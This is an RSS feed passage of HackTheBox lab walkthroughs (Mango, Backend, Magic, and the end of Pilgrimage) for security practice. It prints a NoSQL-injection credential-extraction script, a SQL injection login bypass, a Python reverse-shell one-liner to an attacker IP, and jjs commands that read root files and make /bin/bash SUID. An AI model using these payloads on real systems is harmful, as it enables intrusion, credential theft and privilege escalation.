href="https://github.com/adhikara13/CVE-2022-4510-WalkingPath">repo</a>, we will just modify an image and upload it in /var/www/pilgrimage.htb/shrunk/ directory, then we will setup a listener to get a reverse shell.</p><p>Let’s do it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/927/1*9uIjOselTFjiKzVvxt9YdQ.png" /><figcaption>creating an image</figcaption></figure><p>Create a listener ,then upload the image.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*Sd4R_jT6gNoRDbEKYD--PQ.png" /><figcaption>download the image</figcaption></figure><p>When the script is executed again, we get root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/808/1*Hn9vbBnjKqtePAeEbcsBLw.png" /><figcaption>rooted</figcaption></figure><h3>Conclusion</h3><p>This was great fun!</p><p>I hope you enjoyed the walkthrough. I waiting for your feedbacks.</p><p>Don’t forget to check other walkthroughs.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=087b155e6e39" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HackTheBox | Mango Walkthrough]]></title>
            <link>https://3bdulr7man.medium.com/hackthebox-mango-walkthrough-178a425d5318?source=rss-218651086927------2</link>
            <guid isPermaLink="false">https://medium.com/p/178a425d5318</guid>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[htb]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Abdulrhman  ]]></dc:creator>
            <pubDate>Wed, 13 Mar 2024 14:48:43 GMT</pubDate>
            <atom:updated>2024-03-15T21:42:48.509Z</atom:updated>
            <content:encoded><![CDATA[<p>Hi Folks!</p><p>Hope you are doing well.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ct3jpBfesuKq45T5wgdLvQ.png" /></figure><p>let’s get started with enumeration.</p><h3>Enumeration</h3><h4>Nmap Scan</h4><pre>nmap -T4 -v -p- -sCV &lt;target_ip&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/938/1*xMAGZJhr3tlACWSXgwbdKw.png" /><figcaption>nmap report</figcaption></figure><p>We got three open ports: port 22 running a SSH, port 80 running HTTP and port 443 running HTTPS.</p><p>The nmap disclose domain name of the box is mango.htb and stagin-order.mango.htb.</p><p>So let’s add them to our hosts file.</p><pre>echo &quot;&lt;target_ip&gt;  mango.htb  staging-order.mango.htb&quot; &gt;&gt; /etc/hosts</pre><h4>Web Enumeration</h4><p><strong>HTTP</strong></p><p>When we access the HTTP, we got Forbidden.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oN5ibK98kvx766Mpz3U3vA.png" /><figcaption>HTTP</figcaption></figure><p>Here, I used dirsearch to fuzz directories, but I didn’t get much.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/934/1*t1aQBVJA9nX1_45N4apJWw.png" /><figcaption>dirsearch report</figcaption></figure><p><strong>HTTPs</strong></p><p>So let’s access HTTPs service.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h5yckjXiNWfmoQFjZCsE8w.png" /><figcaption>HTTPs</figcaption></figure><p>From navigating through the app, most of the links are dead and I just got a /analytics.php page, which presents a spreadsheet with a pie chart.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K7x34VQnHLkr0BU1jbFJ_g.png" /><figcaption>Analytics page</figcaption></figure><p>The menus are interesting, but they are dead links.</p><p>So we got the last chance, HTTPs service subdomain.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_m41ayZrh5Qiwncz9ghy8Q.png" /><figcaption>HTTPs subdomain</figcaption></figure><p>I tried to login, bypass login with some SQLi and doing some bruteforce, but I got nothing.</p><p>Here, I got stuck for some time. But the box name is called Mango, this is interesting as it may refer to MonogoDB and I didn’t try NoSQLi payloads.</p><h4>Eaploitation</h4><p>So I decided to try some NoSQLi payloads to bypass the login, and it worked!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Asp51XvYYUDeIrnKSEbuKQ.png" /><figcaption>Bypass the login with NoSQLi</figcaption></figure><p>I got redirected to a /home.php page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lX9mrZENmbhJK-ZUixbzmA.png" /><figcaption>home page</figcaption></figure><p>I didn’t find any thing interesting with the home page, so I returned back to the login page to try to dump any credentials.</p><p>Here, I used a python script from <a href="https://book.hacktricks.xyz/pentesting-web/nosql-injection">Hacktricks</a> to bruteforce the login usernames and passwords to use it to login with SSH.</p><pre>import requests<br>import string<br><br>url = &quot;http://example.com&quot;<br>headers = {&quot;Host&quot;: &quot;exmaple.com&quot;}<br>cookies = {&quot;PHPSESSID&quot;: &quot;s3gcsgtqre05bah2vt6tibq8lsdfk&quot;}<br>possible_chars = list(string.ascii_letters) + list(string.digits) + [&quot;\\&quot;+c for c in string.punctuation+string.whitespace ]<br>def get_password(username):<br>    print(&quot;Extracting password of &quot;+username)<br>    params = {&quot;username&quot;:username, &quot;password[$regex]&quot;:&quot;&quot;, &quot;login&quot;: &quot;login&quot;}<br>    password = &quot;^&quot;<br>    while True:<br>        for c in possible_chars:<br>            params[&quot;password[$regex]&quot;] = password + c + &quot;.*&quot;<br>            pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)<br>            if int(pr.status_code) == 302:<br>                password += c<br>                break<br>        if c == possible_chars[-1]:<br>            print(&quot;Found password &quot;+password[1:].replace(&quot;\\&quot;, &quot;&quot;)+&quot; for username &quot;+username)<br>            return password[1:].replace(&quot;\\&quot;, &quot;&quot;)<br><br>def get_usernames(prefix):<br>    usernames = []<br>    params = {&quot;username[$regex]&quot;:&quot;&quot;, &quot;password[$regex]&quot;:&quot;.*&quot;}<br>    for c in possible_chars:<br>        username = &quot;^&quot; + prefix + c<br>        params[&quot;username[$regex]&quot;] = username + &quot;.*&quot;<br>        pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)<br>        if int(pr.status_code) == 302:<br>            print(username)<br>            for user in get_usernames(prefix + c):<br>                usernames.append(user)<br>    return usernames<br><br>for u in get_usernames(&quot;&quot;):<br>    get_password(u)</pre><p>I got two credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/685/1*9RiAnRkv8srt8pFttvNfVg.png" /><figcaption>dump credentials</figcaption></figure><p>I tried to login with admin, but it didn’t work. so I used mango to login and it worked.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/911/1*D4f7NlM1HfTmWdW07e7OAg.png" /><figcaption>SSH login</figcaption></figure><p>I found an admin user and we can use the found credentials to switch to.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/363/1*4-XLXq8HF5vIy1CrbNM_oA.png" /><figcaption>switch to admin user</figcaption></figure><h3>Privilege Escalation</h3><h4>Enumeration</h4><p>I found an interesting SUID binary.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/927/1*MsuhnsYIJi-H1y4l0HKemQ.png" /><figcaption>SUID binary</figcaption></figure><p>I used <a href="https://gtfobins.github.io/#jjs">GTFOBins</a> to search for the binary and I found an exploitation.</p><p>We can just read the root file.</p><pre>echo &#39;var BufferedReader = Java.type(&quot;java.io.BufferedReader&quot;);<br>var FileReader = Java.type(&quot;java.io.FileReader&quot;);<br>var br = new BufferedReader(new FileReader(&quot;/root/root.txt&quot;));<br>while ((line = br.readLine()) != null) { print(line); }&#39; | jjs</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/941/1*R9vjKi4TP0p_h8KBEdzs1w.png" /><figcaption>root.txt</figcaption></figure><p>Or we can get a shell.</p><pre>echo &quot;Java.type(&#39;java.lang.Runtime&#39;).getRuntimee().exec(&#39;/bin/sh -pc \$@|sh\${IFS}-p _ echo sh -p &lt;$(tty) &gt;$(tty) 2&gt;$(tty)&#39;).waitFor()&quot; | jjs</pre><p>But it didn’t work with me, so I decided to just add the SUID to /bin/bash.</p><pre>echo &quot;Java.type(&#39;java.lang.Runtime&#39;).getRuntimee().exec(&#39;chmod +s /bin/bash&#39;).waitFor()&quot; | jjs</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/941/1*43zqlz50HIm72R0KfQNFsg.png" /><figcaption>Getting root</figcaption></figure><h3>Conclusion</h3><p>This was great fun!</p><p>I hope you enjoyed the walkthrough. I waiting for your feedbacks.</p><p>Don’t forget to check other walkthroughs.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=178a425d5318" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HackTheBox | Backend Wlkathrough]]></title>
            <link>https://3bdulr7man.medium.com/hackthebox-backend-wlkathrough-56528031ee1e?source=rss-218651086927------2</link>
            <guid isPermaLink="false">https://medium.com/p/56528031ee1e</guid>
            <category><![CDATA[htb]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hackthebox]]></category>
            <dc:creator><![CDATA[Abdulrhman  ]]></dc:creator>
            <pubDate>Sun, 10 Mar 2024 15:49:59 GMT</pubDate>
            <atom:updated>2024-03-10T15:49:59.470Z</atom:updated>
            <content:encoded><![CDATA[<p>Hi Folks!</p><p>Hope you are doing well.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/694/1*-a8DiPHJ1slbVsec3Zaqow.png" /></figure><p>let’s get started with enumeration.</p><h3>Enumeration</h3><h4>Nmap Scan</h4><pre>nmap -T4 -v -p- -sCV &lt;target_ip&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*_vR1mx3hXm97EZ4AsOD20g.png" /><figcaption>nmap scan</figcaption></figure><p>We got two open ports: port 22 running a SSH, port 80 running HTTP.</p><blockquote>uvicorn is a web server for hosting Python webservers.</blockquote><h4>Web Enumeration</h4><p>Visiting the page returns JSON data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eHTQhC8ampE6NscSV007jA.png" /><figcaption>Visiting the web page</figcaption></figure><p>It seems to be an API.</p><h4>API Enumeration</h4><p>Here, I used to dirsearch to fuzz the endpoints while I navigate through the returned JSON data.</p><pre>dirsearch -u http://&lt;target_ip&gt;/</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*vNWOGDG6Ib5RkfDaBqiBqg.png" /><figcaption>dirsearch report</figcaption></figure><p>We got Unauthorized Response from /docs, so we need to find any credentials or signup.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7vufaVthm7oc7vHE_Kj7Xw.png" /><figcaption>/docs endpoint</figcaption></figure><p>I got another JSON data, when I accessed /api endpoint.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9Xfa5f5u5CgbSqxzHaB5Jg.png" /><figcaption>/api endpoint</figcaption></figure><p>I acessed /api/v1 endpoint.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AxcU0bTwPO1aAws1S99Mrg.png" /><figcaption>/api/v1 endpoint</figcaption></figure><p>We’ve got two another endpoints. Let’s start with /user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U7FGxJV1OlTt5-Hbfv50ew.png" /><figcaption>/api/v1/user endpoint</figcaption></figure><p>We’ve got nothing, let’s switch to /admin.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*isGmN6ymBpiLzRnPRdYNfA.png" /><figcaption>/api/v1/admin endpoint</figcaption></figure><p>We’ve got Unauthorized Response.</p><p>So I used dirsearch again, to bruteforce /api/v1 endpoint.</p><pre>dirsearch -u http://&lt;target_ip&gt;/api/v1/</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/911/1*pQSinlGs9HIbNYMQUjAUfw.png" /><figcaption>dirsearch report</figcaption></figure><p>We got login endpoint and we can access users’ data.</p><p>So let’s first start with /api/v1/user/1.</p><p>When we access the user with id 1, we got admin data but we got no password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m8AzuKGzA7ASQ8Z3dO8u6g.png" /><figcaption>/api/v1/user/1 endpoint</figcaption></figure><p>Navigating through the other users, we got null value.</p><p>Here, I went to /api/v1/user/login to try to bruteforce the admin’s password or bypass the authentication, But it didn’t work.</p><p>So I used dirsearch again with another wordlist and I got /api/v1/user/signup endpoint.</p><p>So let’s create an account.</p><p>After a lot of errors, I was able to create an account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nDQziLtvvxzPVOt_3708ew.png" /><figcaption>signup a user</figcaption></figure><p>Let’s login using this account.</p><p>After login time of searching and errors, I was able to login and get JWT token.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*f63chFTXW8-HmcKn15JMDQ.png" /><figcaption>user login</figcaption></figure><p>Let’s see what JWT contains. The quickest way to check is to drop it into <a href="https://jwt.io/">jwt.io</a> and see that it is a JWT.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h2btG0aYRLHqspJDfAU8Og.png" /><figcaption>normal user token</figcaption></figure><p>At this time, I decided to access /docs endpoint.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oD_A-aoVTF7iWnl_QF3FqQ.png" /><figcaption>/docs endpoint</figcaption></figure><p>It seems that /docs endpoint is JavaScript generated.</p><blockquote>Let’s access it on the browser, I used <a href="https://addons.mozilla.org/en-US/firefox/addon/simple-modify-header/">simple-modify-headers</a> to add the authorization header.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*236rLS77yODrut0OjbVIuQ.png" /><figcaption>Access /docs endpoint from the browser</figcaption></figure><h4>Docs Enumeration</h4><p>Looking through all the endpoints, they are broken into three groups (default, user, admin).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gKWmywxyOcDaE74pPkK0yA.png" /><figcaption>user and admin endpoints</figcaption></figure><p>All three of admin endpoints require admin privileges, but since I have auth, I’ll give them a try. First there’s “Admin Check”.</p><p>As expected, It returns false.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Lu82zBoapA1Fz0OHySvLjg.png" /><figcaption>check admin</figcaption></figure><p>Other endpoints gives permission error.</p><p>So we only have access to default and user endpoints.</p><p>User group has interesting endpoints.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wr0UqJSppEsh7UzqMArWTg.png" /><figcaption>user endpoints</figcaption></figure><p>First let’s access /api/v1/user/SecretFlagEndpoint and get the flag as it describes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RsFcL-SWfTM_Vsjmi593VA.png" /><figcaption>user flag</figcaption></figure><p>Let’s focus on getting access on the box.</p><p>The most interesting endpoint related to user endpoints is /api/v1/user/updatepass.</p><p>So let’s try it and change the admin’s password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U0zlsfKMzXorgyKTku0YAw.png" /><figcaption>update admin’s password</figcaption></figure><p>We get guid parameter from accessing /api/v1/user/1 endpoint.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FATvG3geIHPFbkaP4s7afQ.png" /><figcaption>update admin’s password result</figcaption></figure><p>We got no errors, so it seems it worked.</p><p>Let’s check it by giving the new credentials to “Authorize” button on the top of /docs endpoint.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iuWf-BOxx9sNkdNkEz3bgA.png" /><figcaption>check new password</figcaption></figure><p>And it seems it worked.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C8GQ-xKvKElk3JA3YPugfg.png" /><figcaption>admin password check</figcaption></figure><p>So let’s login with admin account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/943/1*Wcdb8fdApNoBq2b46COUdQ.png" /><figcaption>login as admin</figcaption></figure><p>So let’s change the authorization header with the new value and access /docs.</p><p>First, I access /api/v1/admin/ to check admin privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DrG8Y6cXi2ZlYqwU4hs6hQ.png" /><figcaption>admin check</figcaption></figure><p>As expected, it returns true.</p><p>So let’s access /api/v1/admin/exec/{command} to get a reverse shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mjILUD_So4yDeABUZ0RW4Q.png" /><figcaption>/api/v1/admin/exec endpoint</figcaption></figure><p>But I got an error, Debug key missing from JWT.</p><p>It seems like we’re still missing a key to get code execution. Simply adding a &quot;debug&quot;: true to JWT token. So we need to find the signing key of the token.</p><p>Let’s access the third admin endpoint /api/v1/admin/file to read system’s files.</p><p>I first tried with /etc/passwd and it worked.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m_l09OFv3LEeXZELXNOxcw.png" /><figcaption>reading /etc/passwd</figcaption></figure><p>We got just one user htb. I tried to access /home/htb/.ssh/id_rsa, but I got an error.</p><p>So here I tried to read processes variables from /proc/self/environ to get the home directory of the running API to read the source code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hQxCqz6m4VlwJYgvpyJMJg.png" /><figcaption>/proc/self/environ file</figcaption></figure><p>We got APP_MODULE=app.main:app and PWD=/home/htb/uhc.</p><p>That says the working directory is /home/htb/uhc, and that the app is located likely in app/main.py.</p><p>So let’s read it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/937/1*nC3qBocCt1O87lCYxNlaiQ.png" /><figcaption>main.py</figcaption></figure><p>From reading the imported files, we can get the application’s files and paths.</p><p>So let’s first try to read /api/v1/admin/exec/{command} endpoint, to make sure our previous assumptions are true.</p><p>From reading /home/htb/uhc/app/api/v1/api.py, we got /api/v1/admin endpoint source code file location /home/htb/uhc/app/api/v1/endpoints/admin.py.</p><p>So let’s read it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*nJJmQrlJUpJ823dn0sYSqw.png" /><figcaption>admin endpoint source code</figcaption></figure><p>At the end of the file, we got the source code of exec function.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/930/1*1ZYnLuQiDLak5J5gGegWjQ.png" /><figcaption>exec function</figcaption></figure><p>As we expected before, It needs &quot;debug&quot;: true to be added to JWT token.</p><p>So let’s return back and get the signing key from /home/htb/uhc/app/core/config.py.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/942/1*SQaBN0s1SNHPOeuRMUM-hg.png" /><figcaption>secret key</figcaption></figure><p>Now, let’s add the debug key.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mRaa58dVqGZjahkazwvhFw.png" /><figcaption>adding debug key</figcaption></figure><h3>Lateral Movement</h3><h4>Access the Box</h4><p>Let’s use the modified token and check /api/v1/admin/exec/{command} again.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C7xIQdcDQzHzIUJuM3A-EA.png" /><figcaption>check exec function using the modified token</figcaption></figure><p>After I worked without any problems, let’s get a access on the box.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1KNrp1GnX8WzwveLyWDNxg.png" /><figcaption>executing a reverse shell</figcaption></figure><h4>Shell</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/942/1*UreRSvfC-4GNB5uw7KGA4w.png" /><figcaption>shell</figcaption></figure><p>Checking the uhc directory, we got .git directory and auth.log is mostly set up for the application logs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/920/1*6bOZv97fc8_9GoZda3pqig.png" /><figcaption>uhc directory</figcaption></figure><p>First, I tried to get git logs by running git log, but git wasn’t installed.</p><h3>Root</h3><p>So I decided to read auth.log and I got an interesting activity, does not seem to be a username as there’s just one user on the box.</p><p>I decided to try to switch to root using the found “password” and It worked!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/935/1*Ile5dksQSAuuNPTUrr-HPw.png" /><figcaption>Getting root</figcaption></figure><h3>Conclusion</h3><p>This was great fun!</p><p>I hope you enjoyed the walkthrough. I waiting for your feedbacks.</p><p>Don’t forget to check other walkthroughs.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=56528031ee1e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HackTheBox | Magic Walkthrough]]></title>
            <link>https://3bdulr7man.medium.com/hackthebox-magic-walkthrough-5a3c3261881a?source=rss-218651086927------2</link>
            <guid isPermaLink="false">https://medium.com/p/5a3c3261881a</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[htb]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <dc:creator><![CDATA[Abdulrhman  ]]></dc:creator>
            <pubDate>Wed, 06 Mar 2024 20:16:07 GMT</pubDate>
            <atom:updated>2024-03-06T20:16:07.074Z</atom:updated>
            <content:encoded><![CDATA[<p>Hi!</p><blockquote><em>Please ignore any type of grammar errors.</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MUD3Oeswngo64pm5R1V-6Q.png" /></figure><p>let’s get started with enumeration.</p><h3>Enumeration</h3><h4>Nmap Scan</h4><pre>nmap -T4 -v -p- -sCV &lt;target_ip&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/929/1*4PDVdsGvuUSb5auuXXhi8A.png" /><figcaption>nmap scan</figcaption></figure><p>We got two open ports: port 22 running a SSH, port 80 running HTTP.</p><h4>Web</h4><p>We got a normal web page, so I run diresearch to fuzz directories.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GdHHxMmifuORlT3Gzzgu5g.png" /><figcaption>Web Interface</figcaption></figure><p>while it’s running, i like to go to the web app to navigate through it and do manual enumeration, and I found a login page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-kKqDr-92rtJ0USTVayH7g.png" /><figcaption>Login Page</figcaption></figure><p>So let’s return back to dirsearch to see if there’s interesting endpoints.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/878/1*I1PVtcQI3ujpdxPbGdYFeg.png" /><figcaption>dirsearch</figcaption></figure><p>We’ve got nothing much, there’s upload.php page, but we have to be logged in.</p><p>Here I returned back to the login page, I’ve tried to bruteforce the login with admin:admin, admin:password, But I got invalid credentials.</p><p>So let’s try to bypass the login.</p><p>I bypassed the login with admin&#39; or 1=1# injected in the username parameters.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZFNv20atZdYwOlVc-u9xWQ.png" /><figcaption>Login bypass</figcaption></figure><p>And I was redirected to the upload page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aqlnjc1W71HMyZoqsIC33g.png" /><figcaption>Upload page</figcaption></figure><p>It just allow image, So let’s try to bypass it and upload a reverse shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9dqI9aDhBQ7isJbd5admRg.png" /><figcaption>Upload a reverse shell</figcaption></figure><p>I uploaded a shell, but I don’t know where the uploads directory is.</p><p>Because it allows to upload images, so I decided to fuzz images directory and I got the uploads directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*L04ToIG1_qDq-KqtR4AyYQ.png" /><figcaption>uploads directory</figcaption></figure><p>Here I went to check the reverse shell and execute commands.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eUcLy4YjogLyMfPYstuqHw.png" /><figcaption>execute commands</figcaption></figure><p>So now let’s get a reverse shell.</p><p>I used this payload…</p><pre>python3 -c &#39;import os,pty,socket;s=socket.socket();s.connect((&quot;attacker ip&quot;,443));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(&quot;bash&quot;)&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/934/1*YYxNMxDDsPmp39zZMRRMOA.png" /><figcaption>Reverse shell</figcaption></figure><h3>Lateral Movement</h3><p>While navigating through the web directory, I found an interesting file related to the database.</p><p>And I found a database credentials inside it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/927/1*nHY3W1jhtC39c8_a2SjftQ.png" /><figcaption>Database credentials</figcaption></figure><p>So here I tried to switch to theseus user, but it was invalid credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/862/1*B91PbojEW7FXqtSHKJEDOg.png" /><figcaption>wrong credentials</figcaption></figure><p>So I decided to login to the database.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*FIM7F7YEs7SmojQfUhrctw.png" /><figcaption>Login to Database</figcaption></figure><p>But there’s no MySQL.</p><p>So let’s find another tool.</p><pre>find / -name &#39;*mysql*&#39; 2&gt;/dev/null</pre><p>And we got another one called mysqldump.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/910/1*LOY89D8AfBSZZg_hjo5K_w.png" /><figcaption>Another tool</figcaption></figure><p>So let’s use this one to login to the database.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*GyfxsVEXkFtN320UadMF-g.png" /><figcaption>Login again to the Database</figcaption></figure><p>Here we got another credentials.</p><p>I decided to use it to switch user to theseus, and it worked.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/734/1*xZdrd4b0tEBkBwl-BTcDYg.png" /><figcaption>Login to theseus</figcaption></figure><h4>Privilege Escalation</h4><p>let’s enumerate the user, I like to do manual enumeration first.</p><p>So let’s enumerate the SUID, and here I found an interesting binary.</p><pre>find / -perm -4000 2&gt;/dev/null</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/873/1*JHfHejMl8A6_XVHcvzARGg.png" /><figcaption>SUID binaries</figcaption></figure><p>It just collect information about the machine like hardware information, disk information, CPU information and much more.</p><p>Here, I decided to use ltrace to display the calls a userspace application makes to shared libraries of this binary.</p><p>I got it uses lshw, fdisk, free commands.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*5YszZMH2JVnKluVJumExiQ.png" /><figcaption>ltrace output</figcaption></figure><p>So let’s exploit this by overriding free command or modify the PATH variable.</p><p>We don’t have the permissions to override the command, so let’s modify the path and gain root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/1*yGJOkHhXGOsfW4QI1g5EsQ.png" /><figcaption>Exploit free command</figcaption></figure><p>When we run sysinfo again, our script will be executed.</p><h4>Root</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/920/1*owz13FNtLVaUz8V9vYrcaw.png" /><figcaption>Getting root</figcaption></figure><h3>Conclusion</h3><blockquote><em>Always Search, Google is your friend :)</em></blockquote><p>This was great fun!</p><p>I hope you enjoyed the walkthrough. I waiting for your feedbacks.</p><p>Don’t forget to check other walkthroughs.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5a3c3261881a" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>